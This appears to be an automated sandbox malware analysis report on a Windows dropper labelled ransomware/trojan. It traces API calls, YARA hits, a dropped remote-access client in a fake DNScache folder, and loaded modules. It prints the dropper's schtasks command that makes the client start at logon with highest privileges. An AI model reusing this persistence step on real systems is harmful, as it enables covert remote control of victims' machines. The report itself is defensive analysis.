Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1101F350 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	9_2_1101F350
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11032870 GetClipboardFormatNameA,SetClipboardData,	9_2_11032870

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_11031B70 GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalFree,

7_2_11031B70

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_110076F0 LoadCursorA,SetCursor,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,CreateDCA,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,SelectClipRgn,BitBlt,SelectClipRgn,DeleteObject,DeleteDC,BitBlt,ReleaseDC,CreatePen,CreateSolidBrush,GetSysColor,LoadBitmapA,_memset,_swscanf,CreateFontIndirectA,_memset,GetStockObject,GetObjectA,CreateFontIndirectA,GetWindowRect,SetWindowTextA,GetSystemMetrics,GetSystemMetrics,SetWindowPos,UpdateWindow,SetCursor,

7_2_110076F0

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11110930 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,		7_2_11110930
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11110930 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,		9_2_11110930

Source: Yara match	File source: 7.2.client32.exe.111b32a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.111b32a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: client32.exe PID: 4900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 2924, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\PCICL32.DLL, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11112960 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		7_2_11112960
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11112960 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		9_2_11112960

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_110A9020: DeviceIoControl,

7_2_110A9020

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_1115A250 FindWindowA,_memset,CreateProcessAsUserA,GetLastError,WinExec,CloseHandle,CloseHandle,CloseHandle,WinExec,

7_2_1115A250

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E17FE4 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,	0_2_00007FF749E17FE4
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E133BC GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,	0_2_00007FF749E133BC
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1102D1B3 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102D1B3
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1102CE84 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102CE84
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1102CD90 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	9_2_1102CD90

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E11A08	0_2_00007FF749E11A08
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E15810	0_2_00007FF749E15810
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E14BE0	0_2_00007FF749E14BE0
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E15B50	0_2_00007FF749E15B50
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E1521C	0_2_00007FF749E1521C
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E1721C	0_2_00007FF749E1721C
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E14BDE	0_2_00007FF749E14BDE
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E133BC	0_2_00007FF749E133BC
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E178AE	0_2_00007FF749E178AE
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D01000	2_2_00D01000
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D01420	2_2_00D01420
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D069E0	2_2_00D069E0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D01A80	2_2_00D01A80
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D17867	2_2_00D17867
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D03C20	2_2_00D03C20
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D04580	2_2_00D04580
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D05D40	2_2_00D05D40
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D06120	2_2_00D06120
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D0BAFC	2_2_00D0BAFC
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D127EB	2_2_00D127EB
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D02FB0	2_2_00D02FB0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D04B40	2_2_00D04B40
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D12340	2_2_00D12340
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11029200	7_2_11029200
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110612D0	7_2_110612D0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110724D0	7_2_110724D0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1102B1F0	7_2_1102B1F0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1115B090	7_2_1115B090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1106F200	7_2_1106F200
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1107F590	7_2_1107F590
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1115F900	7_2_1115F900
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1101B950	7_2_1101B950
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11163B65	7_2_11163B65
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1101BD90	7_2_1101BD90
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110503E0	7_2_110503E0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1116A6AB	7_2_1116A6AB
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110329A0	7_2_110329A0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11122860	7_2_11122860
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1100887B	7_2_1100887B
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11044B90	7_2_11044B90
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1101CBB0	7_2_1101CBB0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11086D60	7_2_11086D60
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6C4DA980	7_2_6C4DA980
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110612D0	9_2_110612D0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1102B1F0	9_2_1102B1F0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1115B090	9_2_1115B090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11029200	9_2_11029200
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1106F200	9_2_1106F200
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1107F590	9_2_1107F590
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1115F900	9_2_1115F900
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1101B950	9_2_1101B950
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11163B65	9_2_11163B65
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1101BD90	9_2_1101BD90
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110503E0	9_2_110503E0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110724D0	9_2_110724D0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1116A6AB	9_2_1116A6AB
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110329A0	9_2_110329A0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11122860	9_2_11122860
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1100887B	9_2_1100887B
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11044B90	9_2_11044B90
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1101CBB0	9_2_1101CBB0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11086D60	9_2_11086D60
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C726E24	9_2_6C726E24
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C726E28	9_2_6C726E28
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C786E18	9_2_6C786E18
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C740919	9_2_6C740919
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C7A0915	9_2_6C7A0915
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C75EB1A	9_2_6C75EB1A
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C728468	9_2_6C728468
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C7345AE	9_2_6C7345AE
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C7B67FF	9_2_6C7B67FF
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C78E7F1	9_2_6C78E7F1
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C784159	9_2_6C784159
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C7121F0	9_2_6C7121F0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C72A1DD	9_2_6C72A1DD
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C76A277	9_2_6C76A277
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C7A8220	9_2_6C7A8220
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C7822CD	9_2_6C7822CD
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C72828B	9_2_6C72828B

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\DNScache\AudioCapture.dll A74612AE5234D1A8F1263545400668097F9EB6A01DFB8037BC61CA9CAE82C5B8

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: String function: 00D07AE0 appears 33 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 1109C970 appears 32 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 1105D480 appears 54 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 110290C0 appears 2088 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 11142790 appears 1186 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 111606A0 appears 64 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 110B6AB0 appears 41 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 6C720950 appears 74 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 6C720934 appears 33 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 11080CC0 appears 85 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 1116B6F0 appears 74 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 110274F0 appears 94 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 1115CAC3 appears 94 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 1116FD13 appears 40 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 11143200 appears 46 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 1105D350 appears 564 times

Source: 5q1Wm5VlqL.exe

Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, Windows 2000/XP setup, 1685697 bytes, 1 file, at 0x2c +A "1stovl.exe", ID 985, number 1, 157 datablocks, 0x1503 compression

Source: 5q1Wm5VlqL.exe	Binary or memory string: OriginalFilename vs 5q1Wm5VlqL.exe
Source: 5q1Wm5VlqL.exe, 00000000.00000003.2134941366.000001F35C7A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameuTox.exe* vs 5q1Wm5VlqL.exe
Source: 5q1Wm5VlqL.exe	Binary or memory string: OriginalFilenameWEXTRACT.EXE .MUID vs 5q1Wm5VlqL.exe

Source: 1stovl.exe.0.dr

Static PE information: Section: .config ZLIB complexity 1.0078125

Source: classification engine

Classification label: mal100.rans.troj.evad.winEXE@10/25@3/3

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe

Code function: 0_2_00007FF749E17010 CreateProcessA,WaitForSingleObject,GetExitCodeProcess,CloseHandle,CloseHandle,GetLastError,FormatMessageA,

0_2_00007FF749E17010

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E133BC GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,ExitWindowsEx,	0_2_00007FF749E133BC
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1109C580 AdjustTokenPrivileges,CloseHandle,	7_2_1109C580
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1109C4F0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	7_2_1109C4F0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1109C580 AdjustTokenPrivileges,CloseHandle,	9_2_1109C580
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1109C4F0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	9_2_1109C4F0

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe

Code function: 0_2_00007FF749E15B50 GetCurrentDirectoryA,SetCurrentDirectoryA,GetDiskFreeSpaceA,MulDiv,GetVolumeInformationA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,memset,GetLastError,FormatMessageA,SetCurrentDirectoryA,

0_2_00007FF749E15B50

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_11095A00 GetTickCount,CoInitialize,CLSIDFromProgID,CoCreateInstance,CoUninitialize,

7_2_11095A00

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe

Code function: 0_2_00007FF749E15810 memset,memset,CreateEventA,SetEvent,CreateMutexA,GetLastError,CloseHandle,FindResourceExA,LoadResource,#17,

0_2_00007FF749E15810

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_11124DC0 GetMessageA,Sleep,OpenSCManagerA,DispatchMessageA,OpenServiceA,CloseServiceHandle,StartServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,GetLastError,

7_2_11124DC0

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\1st2_1[1].zip

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3200:120:WilError_03
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Mutant created: \Sessions\1\BaseNamedObjects\345t236t34g3h45h4545j45v34hb45h3n45hj534g543hg

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe

File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP

Jump to behavior

Source: 5q1Wm5VlqL.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"

Source: 5q1Wm5VlqL.exe

ReversingLabs: Detection: 26%

Source: unknown	Process created: C:\Users\user\Desktop\5q1Wm5VlqL.exe "C:\Users\user\Desktop\5q1Wm5VlqL.exe"
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Process created: C:\Users\user\AppData\Local\DNScache\client32.exe C:\Users\user\AppData\Local\DNScache\client32.exe
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\DNScache\client32.exe C:\Users\user\AppData\Local\DNScache\client32.exe
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Process created: C:\Users\user\AppData\Local\DNScache\client32.exe C:\Users\user\AppData\Local\DNScache\client32.exe	Jump to behavior

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wsock32.dll	Jump to behavior
